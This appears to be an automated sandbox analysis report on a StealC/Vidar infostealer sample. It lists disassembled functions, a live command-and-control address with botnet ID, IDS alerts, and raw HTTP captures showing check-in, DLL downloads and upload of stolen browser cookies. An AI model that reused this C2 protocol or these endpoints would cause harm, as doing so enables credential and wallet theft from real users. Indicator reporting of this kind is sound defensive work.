API String ID: 1480856625-0
Opcode ID: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction ID: 8faa6fbec7cdb6eb0e23bb9a89ffa2cdca4c2045baff36eeb0e7f7c129bded36
Opcode Fuzzy Hash: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction Fuzzy Hash: 1C31D471A012168FDB10CF59C8C469ABBB5FFC5304F168669C846EB201EB31ED25CBA5

Function 6C68F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F668

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd0c959764e2c6f652b47417bb4cdd4b4b8c15a0ef4d9854fa31841a68e36b3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 95316F71B00214AFC714CF1DDCC0A9B7BB5EB94354B148538FA4A8BB04D732E9448BAA

Function 6C6A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26C1
free.MOZGLUE(?), ref: 6C6A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26FF
free.MOZGLUE ref: 6C6A270D

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction ID: da9dc1a29145f47382f95be9498f80c97c9091a0ac98734626d699cba01f1fb2
Opcode Fuzzy Hash: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction Fuzzy Hash: EFF0F9B27012046BE7109E5AD8C4D4773A9EF4131CB100035EA1EC3B11E332FD1AC6AE

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 0.2.file.exe.180000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.180000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: http://185.215.113.37/0d60be0de163924d/freebl3.dllA#	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dllk#SL	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpom	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpl	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dllq	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dllo	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpq	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpwser	Virustotal: Detection: 16%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00189B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00189B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0018C820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0018C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00187240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00187240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00189AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00189AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00198EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00198EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49706 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49706 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.5:49706
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49706 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.5:49706
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49706 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 34 39 36 34 30 44 34 34 46 43 42 31 36 38 31 38 39 35 35 38 37 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 48 49 44 41 4b 45 43 46 49 45 42 47 44 48 4a 45 42 2d 2d 0d 0a Data Ascii: ------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="hwid"049640D44FCB1681895587------AAEHIDAKECFIEBGDHJEBContent-Disposition: form-data; name="build"doma------AAEHIDAKECFIEBGDHJEB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFBHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"browsers------IJEGDBGDBFIJKECBAKFB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIDBKJJDGHDHJKEHJDBHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 44 42 4b 4a 4a 44 47 48 44 48 4a 4b 45 48 4a 44 42 2d 2d 0d 0a Data Ascii: ------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------FIIDBKJJDGHDHJKEHJDBContent-Disposition: form-data; name="message"plugins------FIIDBKJJDGHDHJKEHJDB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEBHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="message"fplugins------IIIEBGCBGIDHDGCAKJEB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKHost: 185.215.113.37Content-Length: 7975Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFBFHDBKJEGHJJJKFIIJHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 46 48 44 42 4b 4a 45 47 48 4a 4a 4a 4b 46 49 49 4a 2d 2d 0d 0a Data Ascii: ------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------AFBFHDBKJEGHJJJKFIIJContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Y
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDAHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 49 44 41 46 49 44 47 43 46 48 4a 4a 44 47 44 41 2d 2d 0d 0a Data Ascii: ------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDHIIDAFIDGCFHJJDGDAContent-Disposition: form-data; name="file"------GDHIIDAFIDGCFHJJDGDA--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKHost: 185.215.113.37Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file"------DGCAAFBFBKFIDGDHJDBK--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 185.215.113.37Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="message"wallets------JKKEHJDHJKFIECAAKFIJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIEGHIDBGHIECAAECGDHost: 185.215.113.37Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 33 37 65 62 38 39 32 66 33 37 64 32 39 66 61 38 39 36 33 65 32 61 66 62 36 33 33 34 34 63 35 37 30 66 33 31 63 34 30 32 61 66 33 30 31 64 36 64 34 34 62 61 35 65 64 64 33 34 33 33 34 63 33 32 36 63 30 37 37 62 32 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 49 45 47 48 49 44 42 47 48 49 45 43 41 41 45 43 47 44 2d 2d 0d 0a Data Ascii: ------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="token"d37eb892f37d29fa8963e2afb63344c570f31c402af301d6d44ba5edd34334c326c077b2------GIIEGHIDBGHIECAAECGDContent-Disposition: form-data; name="message"files------GIIEGHIDBGHIECAAECGD--
